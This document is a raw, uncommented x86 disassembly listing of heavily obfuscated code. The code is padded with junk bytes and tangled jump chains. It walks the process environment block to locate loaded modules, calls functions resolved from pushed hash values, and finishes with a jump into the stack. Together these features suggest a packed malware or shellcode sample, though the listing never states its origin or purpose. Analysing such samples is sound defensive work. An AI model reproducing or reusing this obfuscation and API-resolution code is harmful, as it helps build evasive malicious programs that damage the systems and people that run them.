		xor	edi, eax
		mov	edi, esi
		test	cl, al
		cld
		pop	ebx
		pop	edi
		push	edi
		jmp	short loc_406615
; ---------------------------------------------------------------------------
		db 94h,	3Dh
; ---------------------------------------------------------------------------


loc_4065E7:				; CODE XREF: .text:loc_406615j
		jmp	short loc_406630
; ---------------------------------------------------------------------------
		db 32h,	83h, 0
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh,	5CCF2EA9h
		dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h,	78DBEAD5h
; ---------------------------------------------------------------------------
		push	ecx


loc_406615:				; CODE XREF: .text:004065E3j
		jmp	short loc_4065E7
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h
; ---------------------------------------------------------------------------


loc_406630:				; CODE XREF: .text:loc_4065E7j
		mov	eax, large fs:30h
		push	ecx
		push	esi
		mov	ecx, ecx
		push	edx
		pop	esi
		and	ecx, 808C5Ah
		mov	si, 48F8h
		rcr	ecx, 8Eh
		inc	ecx
		cmp	bl, bl
		xor	ecx, edx
		dec	esi
		cld
		pop	esi
		pop	ecx
		mov	eax, [eax+0Ch]
		push	esi
		push	ebx
		neg	esi
		lea	ebx, ds:80CF5Ah
		not	esi
		js	short loc_406669
		lea	esi, ds:80891Ah


loc_406669:				; CODE XREF: .text:00406661j
		mov	ebx, edi
		neg	ebx
		mov	esi, 80B31Ah
		cld
		pop	ebx
		pop	esi
		mov	edi, [eax+0Ch]
		push	eax
		push	edx
		inc	eax
		mov	dx, 492Bh
		xchg	eax, edx
		test	eax, ecx
		lea	edx, ds:80CA5Ah
		xor	eax, esi
		push	edx
		pop	edx
		cld
		pop	edx
		pop	eax
		push	edi
		jmp	short loc_4066A9
; ---------------------------------------------------------------------------
		db 6Dh
		dd 69F033A2h
		db 0EEh, 8Fh
; ---------------------------------------------------------------------------


loc_40669A:				; CODE XREF: .text:loc_4066A9j
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli
		stosd
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]


loc_4066A9:				; CODE XREF: .text:00406691j
		jmp	short loc_40669A
; ---------------------------------------------------------------------------
		db 0D9h
		dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh
		dd 81688B5Ah, 0BD146726h
; ---------------------------------------------------------------------------


loc_4066C8:				; CODE XREF: .text:loc_40669Aj
					; .text:0040692Cj
		mov	eax, [edi+18h]
		push	edi
		push	ecx
		mov	edi, edx
		jmp	$+5
		not	edi
		push	eax
		pop	ecx
		cld
		pop	ecx
		pop	edi
		mov	ebx, eax
		push	eax
		push	edi
		cmp	ah, bh
		mov	edi, esi
		xor	edi, esi
		mov	di, 48F6h
		xor	edi, edi
		xor	eax, ecx
		or	eax, 80C91Ah
		cmp	ah, ch
		inc	edi
		cld
		pop	edi
		pop	eax
		add	ebx, [edi+20h]
		push	eax
		push	edi
		dec	eax
		xchg	edi, eax
		rcr	edi, 0FDh
		lea	eax, ds:80E1DAh
		mov	eax, esi
		inc	edi
		cld
		pop	edi
		pop	eax
		cmp	[esp+0Ch], eax
		jbe	loc_406907
		jmp	short loc_406749
; ---------------------------------------------------------------------------
		dd 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h, 74478661h, 0E0E3129Dh
		dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h
		db 0Dh,	0C2h, 0D3h
; ---------------------------------------------------------------------------


loc_40673F:				; CODE XREF: .text:loc_406749j
		jmp	short loc_40676C
; ---------------------------------------------------------------------------
		db 10h,	9, 0Eh
		dd 1AC53C2Fh
; ---------------------------------------------------------------------------
		dec	ebx


loc_406749:				; CODE XREF: .text:0040671Aj
		jmp	short loc_40673F
; ---------------------------------------------------------------------------
		db 28h
; ---------------------------------------------------------------------------


loc_40674C:				; CODE XREF: .text:loc_40676Cj
		jmp	short loc_40677C
; ---------------------------------------------------------------------------
		dw 0E641h
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh, 22ED0417h
		dd 6EE970B3h, 7AA59C0Fh
; ---------------------------------------------------------------------------


loc_40676C:				; CODE XREF: .text:loc_40673Fj
		jmp	short loc_40674C
; ---------------------------------------------------------------------------
		sub	ecx, [eax+34074621h]
		pop	ebp


loc_406775:				; CODE XREF: .text:loc_40677Cj
		jmp	short loc_4067A3
; ---------------------------------------------------------------------------
		db 0D2h
		dd 1E59A0A3h
; ---------------------------------------------------------------------------


loc_40677C:				; CODE XREF: .text:loc_40674Cj
		jmp	short loc_406775
; ---------------------------------------------------------------------------
		dw 0CCFFh
		dd 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h
		dd 94E7A601h, 83323Dh, 2CDF7E39h
; ---------------------------------------------------------------------------
		cmc
		mov	bh, bl


loc_4067A3:				; CODE XREF: .text:loc_406775j
		cmp	[esp+0Ch], ebx
		jnb	loc_406907
		push	eax
		push	ecx
		mov	eax, 80A01Ah
		jmp	loc_4067C0
; ---------------------------------------------------------------------------
		push	edi
		pop	ecx
		mov	ecx, 80A2DAh


loc_4067C0:				; CODE XREF: .text:004067B4j
		xor	ecx, ecx
		cld
		pop	ecx
		pop	eax
		pop	edi
		jmp	short loc_4067F7
; ---------------------------------------------------------------------------
		db 30h,	0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_4067CB:				; CODE XREF: .text:loc_4067F7j
		jmp	short loc_40680A
; ---------------------------------------------------------------------------
		db 0CFh, 5Ch, 65h
		dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh, 5178DBEAh
		dd 8D24B7B6h, 89905342h, 45BCAF8Eh, 0C1A8CB9Ah
; ---------------------------------------------------------------------------
		cmpsw
		push	esp


loc_4067F7:				; CODE XREF: .text:004067C6j
		jmp	short loc_4067CB
; ---------------------------------------------------------------------------
		db 0FDh, 0F2h, 43h
; ---------------------------------------------------------------------------
		sar	cl, 3Eh
		lahf


loc_406800:				; CODE XREF: .text:loc_40680Aj
		jmp	short loc_40682D
; ---------------------------------------------------------------------------
		dw 0B5ECh
; ---------------------------------------------------------------------------
		dec	edx
		mov	ebx, 971631D8h


loc_40680A:				; CODE XREF: .text:loc_4067CBj
		jmp	short loc_406800
; ---------------------------------------------------------------------------
		dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h,	2352DDB4h
		dd 7F9ED920h, 9BAA954Ch, 77761138h
		db 0E4h
; ---------------------------------------------------------------------------


loc_40682D:				; CODE XREF: .text:loc_406800j
		pop	edi
		jmp	short loc_40685D
; ---------------------------------------------------------------------------
		dd 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h
		dd 987B0A75h
; ---------------------------------------------------------------------------
		icebp
		setalc


loc_40684A:				; CODE XREF: .text:loc_40685Dj
		jmp	short loc_40687C
; ---------------------------------------------------------------------------
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_40685D:				; CODE XREF: .text:0040682Ej
		jmp	short loc_40684A
; ---------------------------------------------------------------------------
		db 74h
		dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh
		dd 3C2F0E09h, 284B1AC5h
; ---------------------------------------------------------------------------


loc_40687C:				; CODE XREF: .text:loc_40684Aj
		pop	ebx
		jmp	short loc_4068A8
; ---------------------------------------------------------------------------
		db 79h
		db 0BEh, 1Fh
; ---------------------------------------------------------------------------


loc_406882:				; CODE XREF: .text:loc_4068A8j
		jmp	short loc_4068B8
; ---------------------------------------------------------------------------
		dd 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h,	2B7AA59Ch
		dd 7462188h, 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh
; ---------------------------------------------------------------------------


loc_4068A8:				; CODE XREF: .text:0040687Dj
		jmp	short loc_406882
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4068AB:				; CODE XREF: .text:loc_4068B8j
		jmp	short loc_4068D7
; ---------------------------------------------------------------------------
		db 91h,	0F6h, 0F7h
		dd 9382CD64h, 0EFCEC9D0h
; ---------------------------------------------------------------------------


loc_4068B8:				; CODE XREF: .text:loc_406882j
		jmp	short loc_4068AB
; ---------------------------------------------------------------------------
		dw 85FCh
; ---------------------------------------------------------------------------


loc_4068BC:				; CODE XREF: .text:loc_4068D7j
		jmp	short locret_4068EE
; ---------------------------------------------------------------------------
		dw 0BDAh
		dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h
		db 0C4h, 0ADh, 0E2h
; ---------------------------------------------------------------------------


loc_4068D7:				; CODE XREF: .text:loc_4068ABj
		jmp	short loc_4068BC
; ---------------------------------------------------------------------------
		db 73h,	30h, 0A9h
		dd 655CCF2Eh, 0E148EB3Ah, 1DF4C706h, 19606392h
		db 0DEh, 0BFh
; ---------------------------------------------------------------------------

locret_4068EE:				; CODE XREF: .text:loc_4068BCj
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		xchg	esi, esi
		rol	ebx, 67h
		xor	ebx, edi
		mov	bx, 48F5h
		push	ebx
		pop	ebx
		ror	esi, 25h
		not	esi
		dec	esi
		cld
		pop	esi
		pop	ebx


loc_406907:				; CODE XREF: .text:00406714j
					; .text:004067A7j
		mov	edi, [edi]
		push	ebx
		push	esi
		xor	ebx, 81A8DAh
		not	esi
		push	eax
		pop	esi
		xor	esi, edx
		js	short near ptr loc_40691D+1
		shr	ebx, 99h
		dec	esi


loc_40691D:				; CODE XREF: .text:00406917j
		repne xor esi, edx
		mov	esi, 8088DAh
		dec	ebx
		cld
		pop	esi
		pop	ebx
		cmp	[esp], edi
		jnz	loc_4066C8
		jmp	short loc_406964
; ---------------------------------------------------------------------------
		dd 428D24B7h
		db 53h,	90h, 89h
; ---------------------------------------------------------------------------


loc_40693B:				; CODE XREF: .text:loc_406964j
		jmp	short loc_40697B
; ---------------------------------------------------------------------------
		db 8Eh,	0AFh, 0BCh
		dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
		dd 84971631h, 0F033A26Dh, 1C8FEE69h, 8ABFA25h
; ---------------------------------------------------------------------------


loc_406964:				; CODE XREF: .text:00406932j
		jmp	short loc_40693B
; ---------------------------------------------------------------------------
		dw 0C6A1h
		dd 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh
		db 77h,	0E4h, 4Dh
; ---------------------------------------------------------------------------


loc_40697B:				; CODE XREF: .text:loc_40693Bj
		pop	edi
		jmp	short loc_406991
; ---------------------------------------------------------------------------
		dw 6F4Eh
		db 7Ch
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: .text:loc_406991j
		jmp	short loc_4069AC
; ---------------------------------------------------------------------------
		db 5
		dd 81688B5Ah, 0BD146726h, 0B98003B2h
		db 0FEh
; ---------------------------------------------------------------------------


loc_406991:				; CODE XREF: .text:0040697Cj
		jmp	short loc_406981
; ---------------------------------------------------------------------------
		db 5Fh
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h,	6BBAE5DCh
		dd 478661C8h
; ---------------------------------------------------------------------------


loc_4069AC:				; CODE XREF: .text:loc_406981j
		pop	ebx
		jmp	short loc_4069DB
; ---------------------------------------------------------------------------
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1


loc_4069B6:				; CODE XREF: .text:loc_4069DBj
		jmp	short loc_4069EE
; ---------------------------------------------------------------------------
		dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h
		dd 0BE7940C3h, 0CA356C1Fh, 96B1583Bh
; ---------------------------------------------------------------------------
		pop	ss
		add	al, 0EDh


loc_4069DB:				; CODE XREF: .text:004069ADj
		jmp	short loc_4069B6
; ---------------------------------------------------------------------------
		and	dh, [ebx+0F6EE970h]


loc_4069E3:				; CODE XREF: .text:loc_4069EEj
		jmp	short loc_406A15
; ---------------------------------------------------------------------------
		db 9Ch,	0A5h, 7Ah
; ---------------------------------------------------------------------------
		sub	ecx, [eax+34074621h]


loc_4069EE:				; CODE XREF: .text:loc_4069B6j
		jmp	short loc_4069E3
; ---------------------------------------------------------------------------
		dd 0A0A3D25Dh
; ---------------------------------------------------------------------------


loc_4069F4:				; CODE XREF: .text:loc_406A15j
		jmp	short locret_406A25
; ---------------------------------------------------------------------------
		dw 1E59h
		dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh
		dd 0A601E80Bh, 323D94E7h
		db 83h
; ---------------------------------------------------------------------------


loc_406A15:				; CODE XREF: .text:loc_4069E3j
		jmp	short loc_4069F4
; ---------------------------------------------------------------------------
		align 4
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h
; ---------------------------------------------------------------------------
		lodsd

locret_406A25:				; CODE XREF: .text:loc_4069F4j
		retn
; ---------------------------------------------------------------------------
		jmp	short loc_406A52
; ---------------------------------------------------------------------------
		dd 655CCF2Eh
; ---------------------------------------------------------------------------
		cmp	ch, bl
		dec	eax


loc_406A2F:				; CODE XREF: .text:loc_406A52j
		jmp	short loc_406A62
; ---------------------------------------------------------------------------
		db 0E1h, 6, 0C7h
		dd 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h, 53428D24h
		dd 0AF8E8990h, 0CB9A45BCh
; ---------------------------------------------------------------------------
		test	al, 0C1h


loc_406A52:				; CODE XREF: .text:00406A26j
		jmp	short loc_406A2F
; ---------------------------------------------------------------------------
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh
		db 4Ah,	0BBh
; ---------------------------------------------------------------------------


loc_406A62:				; CODE XREF: .text:loc_4046A5j
					; .text:loc_406A2Fj
		pusha
		push	eax
		push	edx
		test	al, bh
		xchg	eax, eax
		shl	edx, 0FFh
		push	edx
		pop	edx
		cmp	dh, cl
		cld
		pop	edx
		pop	eax
		call	sub_4046B2
		push	ebx
		push	esi
		mov	ebx, 80E31Ah
		mov	ebx, esp
		cld
		pop	esi
		pop	ebx
		push	0CB932CE2h
		push	edx
		push	ebx
		mov	bx, 48F6h
		xchg	edx, edx
		mov	edx, 80C99Ah
		cld
		pop	ebx
		pop	edx
		push	esi
		jmp	short loc_406AC7
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli


loc_406A9F:				; CODE XREF: .text:loc_406AC7j
		jmp	short loc_406ADA
; ---------------------------------------------------------------------------
		db 0ABh, 8, 0A1h
		dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h
		dd 49501302h, 57C6F4Eh,	81688B5Ah
		db 26h,	67h, 14h
; ---------------------------------------------------------------------------


loc_406AC7:				; CODE XREF: .text:00406A9Aj
		jmp	short loc_406A9F
; ---------------------------------------------------------------------------
		db 0BDh, 0B2h, 3
; ---------------------------------------------------------------------------


loc_406ACC:				; CODE XREF: .text:loc_406ADAj
		jmp	short loc_406AFD
; ---------------------------------------------------------------------------
		dw 0B980h
		dd 75AC5FFEh, 0F1987B0Ah
; ---------------------------------------------------------------------------
		setalc
		push	edi


loc_406ADA:				; CODE XREF: .text:loc_406A9Fj
		jmp	short loc_406ACC
; ---------------------------------------------------------------------------
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h,	0E3129D74h
		dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h
; ---------------------------------------------------------------------------
		movsb


loc_406AFD:				; CODE XREF: .text:loc_406ACCj
		call	near ptr sub_4048A4
		push	ecx
		push	esi
		dec	esi
		mov	ecx, esp
		mov	esi, esi
		xchg	esi, esi
		xor	esi, esp
		xchg	esi, esi
		cld
		pop	esi
		pop	ecx
		call	eax
		jmp	short loc_406B24
; ---------------------------------------------------------------------------
		dw 27E6h
		dd 0C3727DD4h
; ---------------------------------------------------------------------------
		inc	eax


loc_406B1D:				; CODE XREF: .text:loc_406B24j
		jmp	short loc_406B4B
; ---------------------------------------------------------------------------
		db 79h
		dd 356C1FBEh
; ---------------------------------------------------------------------------


loc_406B24:				; CODE XREF: .text:00406B14j
		jmp	short loc_406B1D
; ---------------------------------------------------------------------------


loc_406B26:				; CODE XREF: .text:loc_406B4Bj
		jmp	short loc_406B5B
; ---------------------------------------------------------------------------
		retf	583Bh
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah, 5D340746h
		dd 59A0A3D2h, 15CCFF1Eh
		db 2Ah,	1Bh, 0B8h
; ---------------------------------------------------------------------------


loc_406B4B:				; CODE XREF: .text:loc_406B1Dj
		jmp	short loc_406B26
; ---------------------------------------------------------------------------
		db 91h,	0F6h, 0F7h
		db 64h,	0CDh, 82h
; ---------------------------------------------------------------------------


loc_406B53:				; CODE XREF: .text:loc_406B5Bj
		jmp	short loc_406B7E
; ---------------------------------------------------------------------------
		db 93h,	0D0h, 0C9h
		db 0CEh, 0EFh, 0FCh
; ---------------------------------------------------------------------------


loc_406B5B:				; CODE XREF: .text:loc_406B26j
		jmp	short loc_406B53
; ---------------------------------------------------------------------------
		db 85h,	0DAh, 0Bh
		dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h
		dd 73E2ADC4h, 0CF2EA930h
		db 5Ch,	65h
; ---------------------------------------------------------------------------


loc_406B7E:				; CODE XREF: .text:loc_406B53j
		cmp	eax, 80000000h
		jbe	loc_406C66
		push	edi
		push	eax
		test	al, ch
		lea	eax, ds:8088DAh
		not	eax
		xchg	edi, eax
		test	ecx, edx
		inc	eax
		cld
		pop	eax
		pop	edi
		popa
		jmp	short loc_406BD0
; ---------------------------------------------------------------------------
		dd 6063921Dh
		db 19h,	0DEh, 0BFh
; ---------------------------------------------------------------------------


loc_406BA7:				; CODE XREF: .text:loc_406BD0j
		jmp	short loc_406BE5
; ---------------------------------------------------------------------------
		db 8Ch,	0D5h, 0EAh
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: .text:00406B9Ej
		jmp	short loc_406BA7
; ---------------------------------------------------------------------------
		xchg	eax, edi
		test	[ebp-5Eh], ch


loc_406BD6:				; CODE XREF: .text:loc_406BE5j
		jmp	short locret_406C04
; ---------------------------------------------------------------------------
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh
		db 87h
; ---------------------------------------------------------------------------


loc_406BE5:				; CODE XREF: .text:loc_406BA7j
		jmp	short loc_406BD6
; ---------------------------------------------------------------------------
		db 0B4h
		dd 202352DDh, 4C7F9ED9h, 389BAA95h, 0E4777611h,	5013024Dh
		dd 7C6F4E49h, 688B5A05h
; ---------------------------------------------------------------------------

locret_406C04:				; CODE XREF: .text:loc_406BD6j
		retn
; ---------------------------------------------------------------------------
		jmp	short loc_406C30
; ---------------------------------------------------------------------------
		db 0B2h
		db 3, 80h
; ---------------------------------------------------------------------------


loc_406C0A:				; CODE XREF: .text:loc_406C30j
		jmp	short loc_406C43
; ---------------------------------------------------------------------------
		dd 0AC5FFEB9h, 987B0A75h, 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h
		dd 0C86BBAE5h, 74478661h, 0E0E3129Dh, 0C3F5E99h
; ---------------------------------------------------------------------------


loc_406C30:				; CODE XREF: .text:00406C05j
		jmp	short loc_406C0A
; ---------------------------------------------------------------------------
		dw 6A55h
		db 5Bh,	0F8h, 0D1h
; ---------------------------------------------------------------------------


loc_406C37:				; CODE XREF: .text:loc_406C43j
		jmp	short loc_406C66
; ---------------------------------------------------------------------------
		db 36h,	37h, 0A4h
; ---------------------------------------------------------------------------
		or	eax, 910D3C2h
		push	cs
		das


loc_406C43:				; CODE XREF: .text:loc_406C0Aj
		jmp	short loc_406C37
; ---------------------------------------------------------------------------
		db 3Ch,	0C5h, 1Ah
		dd 0E641284Bh, 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh
		dd 22ED0417h, 6EE970B3h
		db 0Fh,	9Ch
; ---------------------------------------------------------------------------


loc_406C66:				; CODE XREF: .text:00406B83j
					; .text:loc_406C37j
		push	esi
		jmp	short loc_406C96
; ---------------------------------------------------------------------------
		and	[esi+7], eax


loc_406C6C:				; CODE XREF: .text:loc_406C96j
		jmp	short loc_406CAE
; ---------------------------------------------------------------------------
		dw 5D34h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		dd 85FCEFCEh, 1E80BDAh,	3D94E7A6h, 39008332h
		db 7Eh,	0DFh
; ---------------------------------------------------------------------------


loc_406C96:				; CODE XREF: .text:00406C67j
		jmp	short loc_406C6C
; ---------------------------------------------------------------------------
		dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
		db 48h,	0E1h
; ---------------------------------------------------------------------------


loc_406CAE:				; CODE XREF: .text:loc_406C6Cj
		push	3DE4A069h
		push	edi
		push	edx
		neg	edi
		inc	edi
		cld
		pop	edx
		pop	edi
		push	esi
		jmp	short loc_406CDB
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx


loc_406CC1:				; CODE XREF: .text:loc_406CDBj
		jmp	short loc_406CEE
; ---------------------------------------------------------------------------
		mov	edi, 0DBEAD58Ch
		js	short loc_406D1B
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
; ---------------------------------------------------------------------------


loc_406CDB:				; CODE XREF: .text:00406CBCj
		jmp	short loc_406CC1
; ---------------------------------------------------------------------------
		db 0A7h, 54h, 0FDh
		dd 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah
; ---------------------------------------------------------------------------
		push	ss
		xchg	eax, edi


loc_406CEE:				; CODE XREF: .text:loc_406CC1j
		call	near ptr sub_4048A4
		push	edx
		push	ebx
		shr	ebx, 0DFh
		xor	ebx, esi
		xor	ebx, ebx
		cmp	ah, ah
		jb	short $+2
		cld
		pop	ebx
		pop	edx
		mov	edx, eax
		jmp	short loc_406D32
; ---------------------------------------------------------------------------
		db 0EEh
		db 8Fh,	1Ch
; ---------------------------------------------------------------------------


loc_406D0A:				; CODE XREF: .text:loc_406D32j
		jmp	short loc_406D45
; ---------------------------------------------------------------------------
		dd 8ABFA25h, 0B487C6A1h, 202352DDh
		db 0D9h, 9Eh, 7Fh
; ---------------------------------------------------------------------------


loc_406D1B:				; CODE XREF: .text:00406CC8j
		dec	esp
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl
		jbe	short loc_406D9A
		in	al, 4Dh
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi
		outsd
		jl	short loc_406D32
		pop	edx
		mov	ebp, [eax-7Fh]
; ---------------------------------------------------------------------------
		db 26h
; ---------------------------------------------------------------------------


loc_406D32:				; CODE XREF: .text:00406D05j
					; .text:00406D2Bj
		jmp	short loc_406D0A
; ---------------------------------------------------------------------------
		dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh
; ---------------------------------------------------------------------------
		push	edi


loc_406D45:				; CODE XREF: .text:loc_406D0Aj
		and	edx, 0FFFF0000h
		jmp	short loc_406D79
; ---------------------------------------------------------------------------
		fsubr	st(5), st
		mov	edx, 8661C86Bh


loc_406D54:				; CODE XREF: .text:loc_406D79j
		jmp	short loc_406D89
; ---------------------------------------------------------------------------
		dw 7447h
		dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh
		dd 3C2F0E09h, 284B1AC5h, 0D427E641h
		db 7Dh
; ---------------------------------------------------------------------------


loc_406D79:				; CODE XREF: .text:00406D4Bj
		jmp	short loc_406D54
; ---------------------------------------------------------------------------
		db 72h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
; ---------------------------------------------------------------------------
		pop	ds


loc_406D81:				; CODE XREF: .text:loc_406D89j
		jmp	short loc_406DAC
; ---------------------------------------------------------------------------
		db 6Ch
; ---------------------------------------------------------------------------
		xor	eax, 0B1583BCAh


loc_406D89:				; CODE XREF: .text:loc_406D54j
		jmp	short loc_406D81
; ---------------------------------------------------------------------------
		db 96h
		db 17h,	4
; ---------------------------------------------------------------------------


loc_406D8E:				; CODE XREF: .text:loc_406DACj
		jmp	short loc_406DBF
; ---------------------------------------------------------------------------
		dd 70B322EDh, 9C0F6EE9h
		db 0A5h, 7Ah
; ---------------------------------------------------------------------------


loc_406D9A:				; CODE XREF: .text:00406D21j
		sub	ecx, [eax+34074621h]
		pop	ebp
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger
; ---------------------------------------------------------------------------
		dd 0B81B2A15h
; ---------------------------------------------------------------------------


loc_406DAC:				; CODE XREF: .text:loc_406D81j
		jmp	short loc_406D8E
; ---------------------------------------------------------------------------
		dw 0F691h
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh
		db 0Bh,	0E8h, 1
; ---------------------------------------------------------------------------


loc_406DBF:				; CODE XREF: .text:loc_406D8Ej
		call	eax
		push	edx
		push	edi
		inc	edi
		jo	short loc_406DD4
		xchg	edi, edx
		mov	edi, 80A39Ah
		test	al, cl
		mov	edx, ebx
		xor	edx, esi
		dec	edi


loc_406DD4:				; CODE XREF: .text:00406DC4j
		xor	edx, ebx
		xchg	edi, edx
		test	cl, ch
		mov	dx, 48FAh
		cld
		pop	edi
		pop	edx
		cmp	eax, edx
		jz	loc_406F68
		jmp	short loc_406E17
; ---------------------------------------------------------------------------
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh


loc_406DF2:				; CODE XREF: .text:loc_406E17j
		jmp	short loc_406E27
; ---------------------------------------------------------------------------
		dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h
		dd 0DE196063h, 0EAD58CBFh, 0B65178DBh
		db 0B7h, 24h, 8Dh
; ---------------------------------------------------------------------------


loc_406E17:				; CODE XREF: .text:00406DE9j
		jmp	short loc_406DF2
; ---------------------------------------------------------------------------
		inc	edx


loc_406E1A:				; CODE XREF: .text:loc_406E27j
		jmp	short loc_406E45
; ---------------------------------------------------------------------------
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h


loc_406E27:				; CODE XREF: .text:loc_406DF2j
		jmp	short loc_406E1A
; ---------------------------------------------------------------------------
		db 66h,	0A7h, 54h
		db 0FDh, 0F2h, 43h
; ---------------------------------------------------------------------------


loc_406E2F:				; CODE XREF: .text:loc_406E45j
		jmp	short loc_406E60
; ---------------------------------------------------------------------------
		db 0C0h, 0F9h, 3Eh
		dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h
		db 8Fh
; ---------------------------------------------------------------------------


loc_406E45:				; CODE XREF: .text:loc_406E1Aj
		jmp	short loc_406E2F
; ---------------------------------------------------------------------------
		db 1Ch
		dd 8ABFA25h, 0B487C6A1h, 202352DDh, 4C7F9ED9h, 389BAA95h
		dd 0E4777611h
; ---------------------------------------------------------------------------


loc_406E60:				; CODE XREF: .text:loc_406E2Fj
		sub	esp, 1000h
		jmp	short loc_406E95
; ---------------------------------------------------------------------------
		dd 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h,	987B0A75h
		dd 4457D6F1h
		db 2Dh,	62h
; ---------------------------------------------------------------------------


loc_406E82:				; CODE XREF: .text:loc_406E95j
		jmp	short loc_406EB4
; ---------------------------------------------------------------------------
		dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h
		db 0E3h
; ---------------------------------------------------------------------------


loc_406E95:				; CODE XREF: .text:00406E66j
		jmp	short loc_406E82
; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas


loc_406E9B:				; CODE XREF: .text:loc_406EB4j
		jmp	short loc_406ECB
; ---------------------------------------------------------------------------
		db 0Ch,	55h, 6Ah
		dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh,	0E641284Bh
; ---------------------------------------------------------------------------


loc_406EB4:				; CODE XREF: .text:loc_406E82j
		jmp	short loc_406E9B
; ---------------------------------------------------------------------------
		dw 0D427h
; ---------------------------------------------------------------------------
		jge	short loc_406F2C
		retn
; ---------------------------------------------------------------------------
		inc	eax


loc_406EBC:				; CODE XREF: .text:loc_406ECBj
		jmp	short loc_406EEA
; ---------------------------------------------------------------------------
		dw 0BE79h
		dd 0CA356C1Fh, 96B1583Bh
; ---------------------------------------------------------------------------
		pop	ss
		add	al, 0EDh


loc_406ECB:				; CODE XREF: .text:loc_406E9Bj
		jmp	short loc_406EBC
; ---------------------------------------------------------------------------
		db 22h,	0B3h, 70h
		dd 9C0F6EE9h, 882B7AA5h, 34074621h, 0A0A3D25Dh,	0CCFF1E59h
		dd 0B81B2A15h
		db 91h,	0F6h
; ---------------------------------------------------------------------------


loc_406EEA:				; CODE XREF: .text:loc_406EBCj
		jmp	esp
